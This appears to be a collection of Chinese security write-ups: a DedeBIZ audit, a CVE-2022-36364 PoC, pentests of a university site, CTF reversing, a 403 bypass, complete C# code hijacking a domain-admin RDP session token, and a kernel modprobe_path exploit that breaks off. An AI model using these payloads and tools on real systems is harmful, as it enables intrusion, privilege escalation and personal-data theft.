DedeBIZ系统审计小结
之前简单审计过DedeBIZ系统,网上还没有对这个系统的漏洞有过详尽的分析,于是重新审计并总结文章,记录下自己审计的过程。 https://github.com/DedeBIZ/DedeV6/archive/refs/tags/6.2.10.zip📌DedeBIZ 系统并非基于 MVC 框架,而是采用 静态化与动态解析结合 的方式进行页面处理。其“路由”主要依赖 静态文件跳转 和 数据库模板解析,因此可以直接访问 PHP 文件来触发相应的动态解析逻辑。 我一般会首先关注对文件的操作,任意文件上传、任意文件删除,任意文件读取、任意文件下载等漏洞都是我第一时间关注的重点,除了黑盒测试时关注功能点外,通过代码审计来看的话速度会更快一点。(这里有一个小技巧,就是直接全局搜索?filename= ,一些 js 文件中可能会包含对文件处理的操作,搜索到后就可以直接进行尝试。) 授权任意文件删除 GET /admin/file_manage_control.php?fmdo=del&filename=../1.txt HTTP/1.1 Host: dedev6.test Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Cookie: PHPSESSID=51t797sesf49d9oo8je5ugvjfa; dede_csrf_token=dfb0e80d4f74949ef3730a90d3f49c64; dede_csrf_token__ckMd5=554688926d285f96; DedeUserID=1; DedeUserID__ckMd5=6269166a7279678f; DedeLoginTime=1703426661; DedeLoginTime__ckMd5=7c3591094ad5f36b; DedeStUUID=22636dd1d7205; DedeStUUID__ckMd5=bae1 Connection: close src\admin\file_manage_control.php src\admin\file_class.php#DeleteFile 该漏洞发生在 file_manage_control.php 处理 fmdo=del请求时,由于 DeleteFile方法直接拼接 filename参数生成完整路径并调用 unlink 删除文件,缺乏路径校验,导致攻击者可以构造 ../进行目录遍历,删除任意文件。通过 GET /admin/file_manage_control.php?fmdo=del&filename=../1.txt请求,利用 filename=../1.txt逃出受限目录,删除站点根目录下的 1.txt文件。 授权 SQL 注入 首先需要创建表单 修改添加字段信息 点击字段发布信息 构造数据包 POST /admin/diy_list.php?action=delete&diyid=1&id[]=1)AND+sleep(5 HTTP/1.1 Host: dedev6.test Accept: */* User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36 X-Requested-With: XMLHttpRequest Referer: http://dedev6.test/admin/index_body.php Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Cookie: PHPSESSID=51t797sesf49d9oo8je5ugvjfa; dede_csrf_token=dfb0e80d4f74949ef3730a90d3f49c64; dede_csrf_token__ckMd5=554688926d285f96; DedeUserID=1; DedeUserID__ckMd5=6269166a7279678f; DedeLoginTime=1703426661; DedeLoginTime__ckMd5=7c3591094ad5f36b Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 0 构造 payload 1)AND+(case(1)when(ascii(substr((select(database()))from(1)for(1)))=100)then(sleep(5))else(1)end (case(1)when(ascii(substr((select(database()))from(1)for(1)))=100)then(sleep(5))else(1)end 为 true 与查询出的数据库名 dedebiz 第一个字母 d 的 ascii 相符合。 为什么我们操作的时候需要那么多的前置条件呢,接下来我会详细说明,首先我们从代码层面查看: src/admin/diy_list.php 对传入的参数 数组 id 通过 , 拼接起来,最后传参到 SQL 语句: $query = "DELETE FROM `$diy->table` WHERE id IN ($ids)"; 参数可以通过 ) 闭合,构成 SQL 注入 我们注意到:          $query = "DELETE FROM `$diy->table` WHERE id IN ($ids)";        if ($dsql->ExecuteNoneQuery($query)) {            showmsg('删除成功', "diy_list.php?action=list&diyid={$diy->diyid}");       } else {            showmsg('删除失败', "diy_list.php?action=list&diyid={$diy->diyid}");       } 执行的结果并不会直接返回到界面上,所以这个漏洞时一个盲注漏洞,基于盲注漏洞的特点以及执行数据库时,如果这个表为空,那么便不会执行成功,为了使这个数据库语句执行成功,数据库中必须先保存有数据。 同时这个注入漏洞可以说绝无仅有: 对比代码我们发现,就这一部分没有对变量 id 的类型进行检测。
Apache Calcite Avatica 远程代码执行(CVE-2022-36364)
前段时间看到Apache Calcite Avatica远程代码执行漏洞 CVE-2022-36364 在网上搜索也没有找到相关的分析和复现文章,于是想着自己研究一下,看能不能发现可以利用的方法。 首先利用一下最近比较热门的 Deepseek ,询问他是否清楚漏洞相关的信息。 通过回答我们可以了解到这个漏洞的概况,具体漏洞的版本,以及漏洞产生的原因。 漏洞简介 Apache Calcite Avatica JDBC 驱动程序根据通过 httpclient_impl 连接属性提供的类名来创建 HTTP 客户端实例;但是在驱动程序实例化之前不会验证该类是否实现了预期的接口,这样一来就会导致可以通过调用任意类来执行代码。 执行这个漏洞并造成一定的危害性,还需要两个先决条件: 必须拥有控制 JDBC 连接参数的权限 类路径中有一个具有 URL 参数和执行代码能力的函数(目前需要自己构造) 漏洞复现&分析 简单点,通过 maven 来创建漏洞环境        <!-- https://mvnrepository.com/artifact/org.apache.calcite.avatica/avatica -->        <dependency>            <groupId>org.apache.calcite.avatica</groupId>            <artifactId>avatica</artifactId>            <version>1.21.0</version>        </dependency> 创建完成漏洞环境后,我们就需要来编写一段代码想办法触发这个漏洞,我个人的建议是通过对比代码补丁,一般来说修复完成代码后,总会写一个测试类来进行测试 import org.apache.calcite.avatica.BuiltInConnectionProperty; import org.apache.calcite.avatica.ConnectionConfig; import org.apache.calcite.avatica.ConnectionConfigImpl; import org.apache.calcite.avatica.remote.AvaticaHttpClient; import org.apache.calcite.avatica.remote.AvaticaHttpClientFactory; import org.apache.calcite.avatica.remote.AvaticaHttpClientFactoryImpl; import java.net.URL; import java.util.Properties; public class test {    public static void main(String[] args) throws Exception {        Properties props = new Properties();        props.setProperty(BuiltInConnectionProperty.HTTP_CLIENT_IMPL.name(),"className");        URL url = new URL("url");        ConnectionConfig config = new ConnectionConfigImpl(props);        AvaticaHttpClientFactory httpClientFactory = new AvaticaHttpClientFactoryImpl();        AvaticaHttpClient client = httpClientFactory.getClient(url, config, null);   } } 这样一来我们就编写了一个漏洞 Demo calssName 和 url 的值是我们可以操作控制的,我们进行调试分析一下 org.apache.calcite.avatica.remote.AvaticaHttpClientFactoryImpl#getClient 这个地方我们就注意到了最后调用 instantiateClient 来处理的两个参数 className 和 url 一个来自于直接传参,另一个来自于 config.httpClientClass() 会从 config 对象中获取 HTTP 客户端的实现类名称,并将其作为一个 String 返回 ‍ 所以当参数传入到 org.apache.calcite.avatica.remote.AvaticaHttpClientFactoryImpl#instantiateClient 其中的两个参数 className 和 url 都是我们可以控制的 不需要向下继续调试,我们就看到了关键代码 constructor.newInstance(Objects.requireNonNull(url)); 这样一来我们就可以通过控制 className 和 url 来实现调用任意类,但是这个类的必须有 URL 参数的处理 刚开始想到的方法是 利用 spring 中的类构造函数加载远程配置实现 RCE org.springframework.context.support.ClassPathXmlApplicationContext import org.springframework.context.support.ClassPathXmlApplicationContext; public class JXpathDemo {    public static void main(String[] args) {        String s = "http://127.0.0.1:8080/bean.xml";        ClassPathXmlApplicationContext context = new ClassPathXmlApplicationContext(s);   } } 似乎如此一来就满足了条件,我们先试试 爆出了一个错误,我们注意到 lassPathXmlApplicationContext 类没有接收 java.net.URL 参数的构造方法。ClassPathXmlApplicationContext 类的构造方法接收的是 String 类型的路径,通常是用于加载 Spring 配置文件的路径。 所以这种利用方式适用于很多种情况 Apache Commons JXPath 远程代码执行、PostgresQL JDBC Driver 任意代码执行 等,但是并不适配当前的环境。(目前还没有找到合适的类来触发利用这种漏洞) 为了进一步体现危害性,我自己创建一个类来体现 import java.net.URL; public class CustomHttpClient {    private URL url;    // 构造函数,接受一个 URL 类型的参数    public CustomHttpClient(URL url) throws Exception {        Runtime.getRuntime().exec("calc.exe");   } } 漏洞修复 通过对比我们发现对传入的类进行了控制,限定必须属于AvaticaHttpClient 的子类 https://github.com/apache/calcite-avatica/commit/0c097b6a685fc1f97f151505a219976f15ed0c4c?diff=split&w=0&
从靶场到实战:双一流高校多个高危漏洞
本文结合其它用户案例分析讲解挖掘某双一流站点的过程,包含日志泄露漏洞深入利用失败,到不弱的弱口令字典进入后台,再到最后偶遇一个貌似只在靶场遇到过的高危漏洞。 信息搜集: web站点的话从域名,ip等入手范围太大了,于是决定直接从小程序入手。 微信搜索学校名称,便直接可以通过公众号,小程序寻找目标。这里注意如果你要挖掘某edu的漏洞,就可以多关注他们的公众号,小程序,看看最近有没有什么新的功能出现,这种功能点漏洞比较容易出现。 于是我直接在某公众号发现了一个新功能:报名入口。临近毕业,所有有很多公司可能会来学校宣讲或者招人,这种时候就很有可能出现新功能,本案例就是。 照常点击功能,出现跳转,直接转浏览器测web页面。 日志泄露nday: 在登陆时发现限定了登陆时间,而目前已经不在时间内,可见这其实就是一个临时的系统。 我检查js信息尝试调试js绕过,没成功就通过报错发现为thinkphp框架,直接上工具一把梭。 链接:https://github.com/Lotus6/ThinkphpGUI 只可惜只存在一个日志泄露的nday,没能shell。 根据日志泄露目录可以发现能够遍历近一年的日志信息,此时的思路就是从日志中看能不能拿到管理员或者其它用户登陆的敏感信息,例如账号密码之类,这样就可以扩大日志泄露危害,进一步挖掘利用。 参考文章: https://cloud.tencent.com/developer/article/1752185这篇文章就是利用kali自带工具whatweb探测出thinkphp框架: 并通过dirb扫除.svn泄露: 再通过svnExploit工具进行下载利用: 链接:https://github.com/admintony/svnExploit 并在svn中发现大量日志泄露: 并通过找到最新的日志信息,找到密码hash值,通过cmd5实现解密并成功进入后台: https://blog.csdn.net/qq_41781465/article/details/144092247这篇文章也是在日志信息中成功找到账号密码,配合dirsearch扫出后台,成功登陆: 不过我这次日志信息量虽然很大,且经过我实际尝试也确实会记录我的一些操作信息,但翻遍日志却并貌似不存在敏感信息: 但我发现在日志中泄露了sql语句,貌似可以寻找对应接口,参数拼接成数据包尝试sql注入,但我找遍了日志都没有发现可以直接使用的接口或者代入了sql语句的参数。 不弱的弱口令: 翻找js文件,尝试直接拼接登陆验证接口,和其它查询接口全部失败。 不过根据找到的其它js路径发现其目录结构基本拼接在/syl/下,于是根据经验在目录后拼接admin,系统跳转到后台管理员登陆界面,输入账户为admin页面显示密码错误,输入其它账户页面显示账号不存在,可知账户为admin。 根据页面特征制作字典并加上弱口令top500的内容,尝试爆破成功:密码为页面根路径字母syl+88888888。 这种:syl88888888一看就是弱口令,但如果你只是通过现存的什么top100,top500这种字典是爆破不出来的,所以在进行渗透测试时一定还要根据页面特征,关键字,系统名称首字母等信息制作特定的社工字典尝试。 比如kali自带的cewl工具,便是一种基于爬虫,对页面目录信息进行循环爬取再生成字典的工具。 工具分析文章:https://www.cnblogs.com/jackie-lee/p/16132116.html 成功进入后台。 并发现大量信息泄露: 存在四千多条用户敏感信息泄露。 爬出靶场的高危: 通过dirsearch扫描目录,看有没有结果。 直接扫出来了好几条.git路径,直接访问泄露的路径看不出什么敏感信息。 但很明显站点存在.git信息泄露漏洞,一个我曾经只在ctf技能树复现过的漏洞。 Git就是一个开源的分布式版本控制系统,在执行gitinit初始化目录时会在当前目录下自动创建一个.git目录,用来记录代码的变更记录等,发布代码的时候如果没有把.git这个目录删除而是直接发布到https://cloud.tencent.com/product/cvm/?from_column=20065&from=20065上,那么攻击者就可以通过它来恢复源代码,从而造成信息泄露等一系列的安全问题。 尝试githack进行探测利用(只能python2使用) 工具链接:https://github.com/BugScanTeam/GitHack 该工具基本原理就是解析.git/index文件,找到工程中所有的文件,文件名,再去.git/objects/文件夹下下载对应的文件,并通过zlib解压文件并按原始的目录结构写入源代码 结果我直接把整个git扒了下来,得到站点整套源码,于是通过vscode打开分析: 随意翻找文件,找到mysql数据库账号密码,于是扫描端口发现开启3306,尝试连接,发现似乎做了IP白名单限制,于是放弃。 再翻找文件,发现居然直接把后台部分用户的信息写在了.sql文件内,包含姓名,身份证,电话等信息,不过只有几百条。 此处其实还可以深入对php源码进行审计,发现更多高危漏洞,但我却不会php代审,所以打到这里就收工了,觉得应该可以拿证了。 整个渗透过程很顺利,大概就两三个小时,还是信息搜集做得好,不然都不一定能出成果,同时需要多阅读漏洞挖掘文章,这样在渗透测试过程中才能对漏洞利用更加熟练。
三个月测一站之漏洞挖掘纯享版
好久前偶遇一个站点,前前后后大概挖了三个月才基本测试完毕,出了好多漏洞,也有不少高危,现在对部分高危漏洞进行总结分析。 nday进后台: 开局一个登录框: 通过熊猫头插件提取接口,并结合js分析,跑遍了提取到的路径也没有结果。尝试弱口令登录,但是由于连用户名提示都没有,也以失败告终。最后根据页面title关键字搜索找到该平台的权限绕过nday成功进入后台。 语句:xxx系统历史漏洞 or xxx平台历史漏洞 如上图,拼接payload,通过/../..;号实现权限绕过: 302跳转进入后台,发现为管理员界面。 进入一个系统时,一定不要着急马上测试,要先总体看看这个系统的功能点,基本结构,布局,然后再将功能点转化为数据包,接口,参数进行测试。 总体看了看系统功能点,便点进个人信息处,尝试文件上传漏洞getshell。 点击选择,随后页面进行了一个奇怪的跳转:新开了一个页面 我先尝试文件上传,不过只能上传图片格式,我观察到该文件路径中存在:type=images,于是尝试将images自行修改,不过这种页面居然不能修改url,于是复制url放到正常浏览器访问,尝试修改无果。 发现页面存在修改文件后缀功能,但也被限制。 这时我发现站点采用了ckfinder编辑器,于是按照:xxx历史漏洞继续搜索:\ 翻看大量文章后并未发现能成功复现的漏洞,但我发现了ckfinder的一个新路径: 将url的?后面全部删除进入如下界面: 这时发现刚才原来只是处于images文件夹下,所以被限制很严格。 于是我再次在files文件夹下上传可执行文件,但jsp和php之类均被限制,jspf或者jspx也无法绕过,只有尝试xss类型文件上传了: 上传发现关键字被黑名单限制,于是先上传了一个空的txt文档,上传后再对内容,后缀名进行修改: 修改如下: 双击访问: 成功执行恶意js代码,造成弹窗,这种漏洞就会很容易在管理员访问时,直接将cookie盗取。 同时记住,想这种功能点,属于站点较为深入的功能点处,还极可能存在未授权访问漏洞,删除认证字段访问: 访问成功,由此获得未授权访问加xss类型文件上传漏洞。 这种类型漏洞就可用作挂马,制作钓鱼页面等高危害操作。 多处sql注入漏洞: 该站点功能点很多,这也是为什么我测了很久的原因: 注入点1: 经过翻找发现如下页面,可直接执行sql语句: 输入sql语句抓包查看: 延时成功,虽然从设计功能点来看,这其实并不能算是漏洞,因为本身开发者就是要这么设计的,但在挖掘漏洞时,这种功能点依旧可以通过审核,且在实战中如果这类功能点没有做好权限限制,也能利用sql语句获取敏感信息,写马,修改账户密码等。 注入点2: 功能点如下,此站点查询功能点极其多,但并不是每一个都有漏洞,所以黑盒测试就需要一个个慢慢测试: 抓包,输入单引号报错,两个单引号页面正常,尝试sql手注: 利用堆叠注入延时成功。 数据库的遍历: 继续探索,发现如下页面: 先前便提到过,黑河测试一定要将功能点转化为数据包,接口,参数进行测试,不然这时我可能只会看到一个数据库信息而已。 我翻看该功能点数据包时,直接就发现了展现该页面的请求包与返回数据: 如上图,泄露了数据库地址,账户密码。 但此时注意请求包参数:id=1,很明显,我直接遍历id值: 在前端其实只能看到一个数据库的地址,用户密码。也就是id=1时的数据,而转化为数据包观察,直接实现数据库信息遍历,拿下五台数据库敏感信息,包含mysql,oracle等类型,危害瞬间扩大。
软件系统安全逆向分析-混淆对抗
1. 概述 在一般的软件中,我们逆向分析时候通常都不能直接看到软件的明文源代码,或多或少存在着混淆对抗的操作。下面,我会实践操作一个例子从无从下手到攻破目标。 花指令对抗 虚函数表 RC4 2. 实战-donntyousee 题目载体为具有漏洞的小型软件,部分题目提供源代码,要求攻击者发现并攻击软件中存在的漏洞。 2.1 程序测试 首先拿到这道题目,查壳看架构,elf64 放到虚拟机中运行一下 plz input your flag 8888888888888 wrong ida64反编译,发现软件进行了去符号处理,最直白就是没有main()函数。 但是ida自动帮我们定位到了系统入口函数start()。 然后我们查字符串 plz、wrong,均无法查到相关字符串 可见程序对静态分析做了很大的操作,防止一眼顶真。 然后我们回到系统入口函数start,F5反编译。 程序无法完全反编译,并且发现init和fini均无法正常识别。 进入main函数,即sub_405559(),无可用信息。 2.2 花指令对抗 看汇编 很明显,程序做的混淆对抗是加了花指令。 花指令实质就是一串垃圾指令,它与程序本身的功能无关,并不影响程序本身的逻辑。在软件保护中,花指令被作为一种手段来增加静态分析的难度。 花指令关键在于对堆栈变化以及函数调用的操作。强硬的动态调试能力也可以无视花,直接en看。 对于此花指令,我们只需要将call $+5、 retn nop 即可 (该软件的每个有用的function都加入了此花指令) E8 00 00 00 00                call    $+5 C3                            retn 此时F5反编译,程序明显可读了 2.3 虚函数 我们重命名一下,方便理解 可见程序还使用了虚函数重定位的技术。 下面我们进行动态调试,具体跟进函数。 F7进入 又发现了花,我们nop掉 然后进入下一个函数进行重复的操作 再往下程序结束,但是我们并没有看到密文比较的地方。 我们对rc4的两个函数进行交叉引用,看哪里调用了他们呢 .data.rel.ro 这个节段是只读数据段的重定位段,在链接时重定位,里面放的就是我们的虚函数表。 看到下面还有一个sub_405CAA(),我们点击跟进。 至此,我们找到了程序的所有逻辑。 2.4 RC4解密 提取密文 25CD54AF511C58D3A84B4F56EC835DD4F6474A6FE073B0A5A8C317815E2BF4F671EA2FFFA8639957 提取密钥 921C2B1FBAFBA2FF07697D77188C rc4_enc()函数还有个 ^23 得解。
自己搭建专属AI:Llama大模型私有化部署
前言 AI新时代,提高了生产力且能帮助用户快速解答问题,现在用的比较多的是Openai、Claude,为了保证个人隐私数据,所以尝试本地(Mac M3)搭建Llama模型进行沟通。 Gpt4all 安装比较简单,根据 https://github.com/nomic-ai/gpt4all 下载客户端软件即可,打开是这样的: 然后选择并下载模型文件,这里以Llama为例: 下载模型文件完,选择模型文件则可以进行对话了: 也可以利用基于 nomic-embed-text嵌入模型,把文档转成向量方便语义检索和匹配。选择文档所在的目录: 然后对话中选择对应的文档即可: 如果文件太大,需要在设置适当添加token大小,太大也不好,处理会慢且机器会卡死: gpt4all使用起来还是比较方便的,但是有几个缺点:有些能在huggingface.co搜到的模型在gpt4all上面搜不到、退出应用后聊天记录会消失。 Ollama 安装也很方便,下载 https://ollama.com/download/Ollama-darwin.zip ,然后运行如下命令即可启动Llama: ollama run llama3.2 为了方便图形化使用,可以借助 https://github.com/open-webui/open-webui 完整图形化的使用,启动也很简单,直接使用官方仓库中的命令即可: docker run -d -p 3000:8080 --add-host=host.docker.internal:host-gateway -v open-webui:/app/backend/data --name open-webui --restart always ghcr.io/open-webui/open-webui:main 然后访问本地的3000端口即可: open-webui的原理也比较简单,Ollama启动后会在本地监听11434端口,open-webui也是利用这个端口来和Ollama通信完成的图形化使用。open-webui还可以多选模型一起回答: 整体测试下来,发现Llama3.2对于文档分析差点意思,给他提供一个pdf文档,也看不出个啥来。但是上面的gpt4all,然后通过nomic-embed-text模型嵌入后好点。 总结 本文演示了通过不同手段来运行Llama模型,来达到本地使用LLM的目的。
海外的bug-hunters,不一样的403bypass
一种绕过403的新技术,跟大家分享一下。研究HTTP协议已经有一段时间了。发现HTTP协议的1.0版本可以绕过403。于是开始对lyncdiscover.microsoft.com域做FUZZ,并且发现了几个403Forbidden的文件。 (访问fsip.svc为403) 在经过尝试后,得出一个结论:当清除所有header头的值时,服务器会对客户端作出响应。 结论1: 将HTTP协议版本更改为1.0,而且不要在标题中设置任何值。 结论2: 如果服务器和任何其他安全机制没有以正确的方式配置,不把Host放在header头内时,服务器将会自己把目标地址放在header中,这会导致服务器将我们的请求认做本地请求。 (访问fsip.svc为200) 用同样的方式尝试了另一个文件,并且再次成功bypass。 (403) (200) 还要补充一点:你也可以用同样的方式去绕过CDN获取服务器IP。 例如: 如你所见,在Location中,它在返回中显示了域本身的地址。 再次使用相同的方法并发送请求时,显示了服务器的主地址。 以上技术已经被添加到burp工具当中: https://portswigger.net/bappstore/444407b96d9c4de0adb7aed89e826122------------------------------ 以上这种思路虽然已经被添加到了burp插件,但我们依旧需要去学习了解插件运行背后的逻辑,而不只是当一个脚本小子。 尤其是在做黑盒测试中,秉持改变原有数据结构的FUZZ思路进行一切可能的尝试,才会挖掘出更有趣的漏洞。 在burp权限绕过插件中,除了以上尝试,还有诸多修改url请求的尝试,例如: https://www.example.com..;/api/v1/users https://www.example.com/api..;/v1/users https://www.example.com/api/v1..;/users 这些尝试本质也是在破坏数据原有结构,利用后端,服务器等处理特性实现绕过。 其实除此外还可以进行任何可能的尝试:https://www.example.com/api/v1/users 例如将v1改成v2,利用通配符代替数字,或者添加多余的字符串等等操作。
利用断开的域管理员RDP会话提权
前言 当域内管理员登录过攻击者可控的域内普通机器运维或者排查结束后,退出3389时没有退出账号而是直接关掉了远程桌面,那么会产生哪些风险呢?有些读者第一个想到的肯定就是抓密码,但是如果抓不到明文密码又或者无法pth呢? 通过计划任务完成域内提权 首先模拟域管登录了攻击者可控的普通域内机器并且关掉了3389远程桌面: 然后攻击者可以通过如下方式进行域内提权,已添加域内用户为例,流程为新建计划任务-选择域管用户-执行命令: 选择搜索用户位置为域内: 选择登录进来的域管用户: 设置启动的命令: 然后运行计划任务,可以看到成功添加了域内用户: 有些读者可能会问了,那是不是选择任意域内用户都行,实际上是不行的,会提示用户未登录: 原理分析 原理实际上也很简单,就是获取进程的token,然后利用CreateProcessAsUser api完成模拟用户token进行进程创建即可。下面提供完整代码,如下代码核心是利用WTSQueryUserToken获取rdp session id token,然后使用CreateProcessAsUser完成进程的创建: using System; using System.Runtime.InteropServices; using System.ComponentModel; using System.Security.Principal; class Program {   [DllImport("wtsapi32.dll", SetLastError = true)]   static extern bool WTSQueryUserToken(int sessionId, out IntPtr Token);   [DllImport("kernel32.dll", SetLastError = true)]   static extern bool CloseHandle(IntPtr hObject);   [DllImport("userenv.dll", SetLastError = true)]   static extern bool CreateEnvironmentBlock(out IntPtr lpEnvironment, IntPtr hToken, bool bInherit);   [DllImport("userenv.dll", SetLastError = true)]   static extern bool DestroyEnvironmentBlock(IntPtr lpEnvironment);   [DllImport("advapi32.dll", SetLastError = true)]   static extern bool CreateProcessAsUser(       IntPtr hToken,       string lpApplicationName,       string lpCommandLine,       IntPtr lpProcessAttributes,       IntPtr lpThreadAttributes,       bool bInheritHandles,       uint dwCreationFlags,       IntPtr lpEnvironment,       string lpCurrentDirectory,       ref STARTUPINFO lpStartupInfo,       out PROCESS_INFORMATION lpProcessInformation);   [StructLayout(LayoutKind.Sequential)]   struct STARTUPINFO   {       public int cb;       public string lpReserved;       public string lpDesktop;       public string lpTitle;       public uint dwX;       public uint dwY;       public uint dwXSize;       public uint dwYSize;       public uint dwXCountChars;       public uint dwYCountChars;       public uint dwFillAttribute;       public uint dwFlags;       public short wShowWindow;       public short cbReserved2;       public IntPtr lpReserved2;       public IntPtr hStdInput;       public IntPtr hStdOutput;       public IntPtr hStdError;   }   [StructLayout(LayoutKind.Sequential)]   struct PROCESS_INFORMATION   {       public IntPtr hProcess;       public IntPtr hThread;       public uint dwProcessId;       public uint dwThreadId;   }   static void Main(string[] args)   {       if (args.Length < 2)       {           Console.WriteLine("Usage: RdpProcessLauncher.exe <sessionId> <command>");           return;       }       int sessionId;       if (!int.TryParse(args[0], out sessionId))       {           Console.WriteLine("Invalid session ID");           return;       }       string command = args[1];       IntPtr userToken = IntPtr.Zero;       IntPtr envBlock = IntPtr.Zero;       try       {           // Get user token for the specified session           bool tokenResult = WTSQueryUserToken(sessionId, out userToken);           if (!tokenResult)           {               int error = Marshal.GetLastWin32Error();               throw new Win32Exception(error);           }           // Create environment block           bool envResult = CreateEnvironmentBlock(out envBlock, userToken, false);           if (!envResult)           {               int error = Marshal.GetLastWin32Error();               throw new Win32Exception(error);           }           // Prepare startup info           STARTUPINFO startupInfo = new STARTUPINFO();           startupInfo.cb = Marshal.SizeOf(startupInfo);           startupInfo.lpDesktop = "winsta0\\default";           PROCESS_INFORMATION processInfo = new PROCESS_INFORMATION();           // Create process as user           bool processResult = CreateProcessAsUser(               userToken,               null,               command,               IntPtr.Zero,               IntPtr.Zero,               false,               0x00000400, // CREATE_UNICODE_ENVIRONMENT               envBlock,               null,               ref startupInfo,               out processInfo);           if (!processResult)           {               int error = Marshal.GetLastWin32Error();               throw new Win32Exception(error);           }           Console.WriteLine("Process launched successfully. PID: {0}", processInfo.dwProcessId);           // Clean up process handles           CloseHandle(processInfo.hProcess);           CloseHandle(processInfo.hThread);       }       catch (Exception ex)       {           Console.WriteLine("Error: {0}", ex.Message);       }       finally       {           // Clean up resources           if (envBlock != IntPtr.Zero)           {               DestroyEnvironmentBlock(envBlock);           }           if (userToken != IntPtr.Zero)           {               CloseHandle(userToken);           }       }   } } 编译后进行尝试: 成功完成了token窃取并添加了域内用户。 总结 本文通过演示窃取RDP Session Token完成域内提权的目的。
Linux kernel 堆溢出利用方法(三)
前言 本文我们通过我们的老朋友heap_bof来讲解Linux kernel中任意地址申请的其中一种比赛比较常用的利用手法modprobe_path(虽然在高版本内核已经不可用了但ctf比赛还是比较常用的)。再通过两道近期比赛的赛题来讲解。 Arbitrary Address Allocation 利用思路 通过 uaf 修改 object 的 free list 指针实现任意地址分配。与 glibc 不同的是,内核的 slub 堆管理器缺少检查,因此对要分配的目标地址要求不高,不过有一点需要注意:当我们分配到目标地址时会把目标地址前 8 字节的数据会被写入 freelist,而这通常并非一个有效的地址,从而导致 kernel panic,因此在任意地址分配时最好确保目标 object 的 free list 字段为 NULL 。 当能够任意地址分配的时候,与 glibc 改 hook 类似,在内核中通常修改的是 modprobe_path 。modprobe_path 是内核中的一个变量,其值为 /sbin/modprobe ,因此对于缺少符号的内核文件可以通过搜索 /sbin/modprobe 字符串的方式定位这个变量。 当我们尝试去执行(execve)一个非法的文件(file magic not found),内核会经历如下调用链: entry_SYSCALL_64()    sys_execve()        do_execve()            do_execveat_common()                bprm_execve()                    exec_binprm()                        search_binary_handler()                            __request_module() // wrapped as request_module                                call_modprobe() 其中 call_modprobe() 定义于 kernel/kmod.c,我们主要关注这部分代码: static int call_modprobe(char *module_name, int wait) { //... argv[0] = modprobe_path; argv[1] = "-q"; argv[2] = "--"; argv[3] = module_name; /* check free_modprobe_argv() */ argv[4] = NULL; info = call_usermodehelper_setup(modprobe_path, argv, envp, GFP_KERNEL, NULL, free_modprobe_argv, NULL); if (!info) goto free_module_name; return call_usermodehelper_exec(info, wait | UMH_KILLABLE); //... 在这里调用了函数 call_usermodehelper_exec() 将 modprobe_path 作为可执行文件路径以 root 权限将其执行。 我们不难想到的是:若是我们能够劫持 modprobe_path,将其改写为我们指定的恶意脚本的路径,随后我们再执行一个非法文件,内核将会以 root 权限执行我们的恶意脚本。 或者分析vmlinux即可(对于一些没有call_modprobe()符号的直接交叉引用即可)。 __int64 _request_module(        char a1,        __int64 a2,        double a3,        double a4,        double a5,        double a6,        double a7,        double a8,        double a9,        double a10,       ...) { ......    if ( v19 )   { ......      v21 = call_usermodehelper_setup(             (__int64)&byte_FFFFFFFF82444700, // modprobe_path             (__int64)v18,             (__int64)&off_FFFFFFFF82444620,              3264,              0LL,             (__int64)free_modprobe_argv,              0LL); ...... } .data:FFFFFFFF82444700 byte_FFFFFFFF82444700             ; DATA XREF: __request_module:loc_FFFFFFFF8108C6D8↑r .data:FFFFFFFF82444700                 db 2Fh ; /       ; __request_module+14B↑o ...                       .data:FFFFFFFF82444701                 db  73h ; s .data:FFFFFFFF82444702                 db  62h ; b .data:FFFFFFFF82444703                 db  69h ; i .data:FFFFFFFF82444704                 db  6Eh ; n .data:FFFFFFFF82444705                 db  2Fh ; / .data:FFFFFFFF82444706                 db  6Dh ; m .data:FFFFFFFF82444707                 db  6Fh ; o .data:FFFFFFFF82444708                 db  64h ; d .data:FFFFFFFF82444709                 db  70h ; p .data:FFFFFFFF8244470A                 db  72h ; r .data:FFFFFFFF8244470B                 db  6Fh ; o .data:FFFFFFFF8244470C                 db  62h ; b .data:FFFFFFFF8244470D                 db  65h ; e .data:FFFFFFFF8244470E                 db    0 exp #include "src/pwn_helper.h" #define BOF_MALLOC 5 #define BOF_FREE 7 #define BOF_WRITE 8 #define BOF_READ 9 size_t modprobe_path = 0xFFFFFFFF81E48140; size_t seq_ops_start = 0xffffffff81228d90; struct param {    size_t len;    size_t *buf;    long long idx; }; void alloc_buf(int fd, struct param* p) {    printf("[+] kmalloc len:%lu idx:%lld\n", p->len, p->idx);    ioctl(fd, BOF_MALLOC, p); } void free_buf(int fd, struct param* p) {    printf("[+] kfree len:%lu idx:%lld\n", p->len, p->idx);    ioctl(fd, BOF_FREE, p); } void read_buf(int fd, struct param* p) {    printf("[+] copy_to_user len:%lu idx:%lld\n", p->len, p->idx);    ioctl(fd, BOF_READ, p); } void write_buf(int fd, struct param* p) {    printf("[+] copy_from_user len:%lu idx:%lld\n", p->len, p->idx);    ioctl(fd, BOF_WRITE, p); } int main() {    // len buf idx    size_t* buf = malloc(0x500);    struct param p = {0x20, buf, 0};    printf("[+] user_buf : %p\n", p.buf);    int bof_fd = open("/dev/bof", O_RDWR);    if (bof_fd < 0) {        puts(RED "[-] Failed to open bof." NONE);        exit(-1);   }    printf(YELLOW "[*] try to leak kbase\n" NONE);    alloc_buf(bof_fd, &p);    free_buf(bof_fd, &p);    int seq_fd = open("/proc/self/stat", O_RDONLY);    read_buf(bof_fd, &p);    qword_dump("leak seq_ops", buf, 0x20);    size_t kernel_offset = buf[0] - seq_ops_start;    printf(YELLOW "[*] kernel_offset %p\n" NONE, (void*)kernel_offset);    modprobe_path += kernel_offset;    printf(LIGHT_BLUE "[*] modprobe_path addr : %p\n" NONE, (void*)modprobe_path);        p.len = 0xa8;    alloc_buf(bof_fd, &p);    free_buf(bof_fd, &p);    read_buf(bof_fd, &p);    buf[0] = modprobe_path - 0x20;    write_buf(bof_fd, &p);    alloc_buf(bof_fd, &p);    